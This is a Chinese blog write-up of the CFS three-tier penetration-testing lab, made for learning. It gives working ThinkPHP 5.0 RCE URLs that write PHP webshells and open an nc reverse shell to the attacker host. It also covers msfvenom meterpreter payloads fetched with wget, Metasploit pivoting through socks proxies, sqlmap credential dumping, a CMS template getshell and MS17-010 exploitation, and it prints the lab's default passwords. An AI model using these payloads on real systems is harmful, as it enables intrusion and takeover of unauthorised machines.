CFS靶机实战演练

环境说明:

这个靶机是TeamsSix前辈出的一个靶场,使用的是他的环境。具体网络配置如下:

kali: 10.10.10.1
win7: 10.10.10.3

target1(linux,模拟DMZ区域)
10.10.10.1
192.168.22.11

taget2(linux)
192.168.22.22
192.168.33.22

target3(win7)
192.168.33.33

虚拟机账号密码
root/teamssix.com
administrator/teamssix.com

虚拟机Vmware网卡配置:

Vmnet1 仅主机模式,子网IP:192.168.22.0 子网掩码:255.255.255.0
Wmnet2 仅主机模式,子网IP:192.168.33.0子网掩码:255.255.255.0
Vmnet8 NAT模式

Target1 的 IP 和子网掩码:

ifconfig ens37 192.168.22.11 netmask 255.255.255.0
注释:ens37 是我们的仅主机模式(VMnet1)的网卡


Targe2 的 IP 和子网掩码:

ifconfig ens33 192.168.22.22 netmask 255.255.255.0
ifconfig ens38 192.168.33.22 netmask 255.255.255.0

外部打点

target1

nmap 扫描端口(各种信息收集,省略......)


开放80端口,直接访问,发现目标使用TP5,存在RCE,直接getshell。

ThinkPHP-V5.0-RCE-Getshell 方法:

方法一、直接使用echo写websehll(注意:linux下使用\转义$,windows下用^转义):
POC:

http://10.10.10.4/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php eval(\$_POST[cmd]);?>" > 1ndex.php

方法二、BASE64编码绕过

http://10.10.10.4/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4="|base64 -d > cmd2.php

方法三:反弹shell到我们的nc

KALI:nc -lnvp 6666
目标:nc 10.10.10.1 6666 -e /bin/bash
http://10.10.10.4/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=nc 10.10.10.1 6666 -e /bin/bash

这个时候成功获取 shell!随后用python获取一枚 bash:

python -c 'import pty;pty.spawn("/bin/bash")'

第一层内网

在target1靶场两个flag。

内网渗透阶段使用msf,先让target1上线msf:

msfvenom生成回连木马:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=4444 -f elf > 4444.elf

kali开启http,webshell端远程下载elf木马。
python3 -m http.server 1080

通过webshell端下载木马:
wget http://10.10.10.1:8090/6666.elf

elf没有执行权限,需要添加执行权限
chmod +x 4444.elf

msf本地设置监听以及使用payload:
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp

run开启监听,终端执行4444.elf文件,反弹shell到msf。

第一层内网信息收集

查看ip:
ifconfig

查看网段:
run get_local_subnets

目标存在内网网段:192.168.22.X ,添加路由,进行内网横向渗透

添加路由:
run autoroute -s 192.168.22.0/24
background #让meterpreter会话在后台运行
查看会话命令: sessions -l
sessions ID(会话ID)

meterpreter查看添加的路由命令:
run autoroute -p

内网存活网段扫描:
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.22.1/24
set threads 100

在msf添加代理,使用192.168.22.11(双网卡,类比真实环境下的DMZ区域)作为跳板进行内网横向渗透。不添加代理的情况下只有msf是使用代理流量,为了后期的横向渗透方便,比如使用浏览器,或者一些webshell工具的方便性,使用msf的代理模块+proxychains4进行代理:

use auxiliary/server/socks_proxy

无需配置,直接使用默认的参数

记得执行run/exploit命令
配置proxychains4代理文件:
vim /etc/proxychains4.conf

socks5 127.0.0.1 1080

在配置好代理之后,可以使用kali的代理工具proxychains4进行内网渗透。

使用namp工具进行端口扫描看看它开放了那些端口服务:

proxychains4 nmap -Pn -sT 192.168.22.22

注释:(因为socks4不支持ICMP协议,不用对它使用ping,所以就使用-Pn 参数,而-sT是使用TCP扫描)

扫描结果:

对target2(内网机器192.168.22.22)进行渗透,getshell

配置本地win7代理,访问target2 80端口。
代理配置情况,socks5 10.10.10.1 1080 (KALI ip地址):

访问目标站点,存在注入(源码提示,CTF题目,参考意义不大)

kali 使用proxychains4 SQLMAP一把梳。

proxychains sqlmap -u "http://192.168.22.22/index.php?r=vul&keyword=1" -p keyword -D bagecms -T bage_admin -C username,password –dump

此处不使用batch命令,需要手工选定参数,否则跑不出数据。

后台账号密码 admin/123qwe

dirsearch或者其它工具寻找登录:

proxychains4 dirsearch -u "http://192.168.22.22" -e php -i 200

发现目标存在robots.txt,直接登录后台,修改模板getshell。

链接shell成功,注入连接点为:http://192.168.22.22/index.php?r=tag%2Findex#4_0

使用软件代理工具SocksCap64代理,蚁剑链接shell。

SocksCap64配置,这个实验使用的是socks5,把需要添加代理的软件拖进程序面板就可以使用代理:

因target2在内网,目标不出网,使用正向链接目标的方法让其上线msf。

生成一个bind正向连接的马

msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=5555 -f elf > 5555.elf

直接使用蚁剑上传至目标。

同样赋予执行权限。
chmod +x 5555.elf

运行 ./5555.elf

msf设置exp以及payload

use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.22.22
run

设置情况:

运行后获得meterpreter情况:

目前msf获得的会话情况,可以看到两台主机上线:

对target2进行信息收集,继续内网横向渗透。

ifconfig ,可以发现存在192.168.33.22网段。

查看网段:
run get_local_subnets

重复之前类似target1的操作,添加一个路由表到后者:
run autoroute -s 192.168.33.0/24

像收集target1信息一样,扫描端口:

use auxiliary/scanner/portscan/tcp

运行结果:

扫描完后发现发开放了445和3389端口,因此判断有可能是windows系统

为了验证,使用了这个模块去探测它的操作系统:

use auxiliary/scanner/smb/smb_version

Windwos7-MS17-010提权

使用MSF的模块进行探测看是否存在永恒之蓝,使用的辅助模块:

use auxiliary/scanner/smb/smb_ms17_010

MSF检测出 192.168.33.33这台主机存在MS17-010(永恒之蓝)。接下来使用这个利用模块:

use exploit/windows/smb/ms17_010_psexec

注意一下,我们选择 MS17_010 这个利用模块后,我们还需要设置一下 Payload,因为它默认的是 reverse_tcp(反向),而它主机不能出外网所以就只能使用正向(bind_tcp)我们去连接它!

payload:

set payload windows/x64/meterpreter/bind_tcp

设置好参数后运行 exploit 获取到一枚 Meterpreter。

为system权限。

总结:

这个靶场可以学习到如何一步步利用跳板代理横向到最深处网络。

  1. Thinkphp5.x Rce漏洞利用,三种利用方式,以及echo写马的注意事项

  2. MSF添加路由和socks代理,将Linux主机作为跳板从而横向移动

  3. 八哥CMS的漏洞利用Getshell,sql注入-->后台管理登陆,后台模板Getshell

  4. Ms17-010的psexec利用模块的使用

  5. 典型的三层网络环境,通过利用MSF强大的路由功能,不断添加路由+socks代理,横向移动到最后一层网络

  6. SocksCap64小红帽软件代理工具的使用

  7. 本靶场只是利用率MSF进行内网进行相关的渗透,横向移动,但是并没域控环境,也不需要相关的提权,比较适合小白入门的靶场。下一步结合CS进行使用,注意多种方式、综合多种类工具进行利用(待完善)。

最后上线情况:

参考链接

https://blog.csdn.net/weixin_45447309/article/details/106907920
https://mp.weixin.qq.com/s?__biz=MzI4MTkzNDIyMg==&mid=2247488522&idx=1&sn=372d9a0ecf3926f84e9f4bc24c6040fd&source=41#wechat_redirect

posted @ 2021-09-17 20:40  admax11  阅读(644)  评论(0编辑  收藏  举报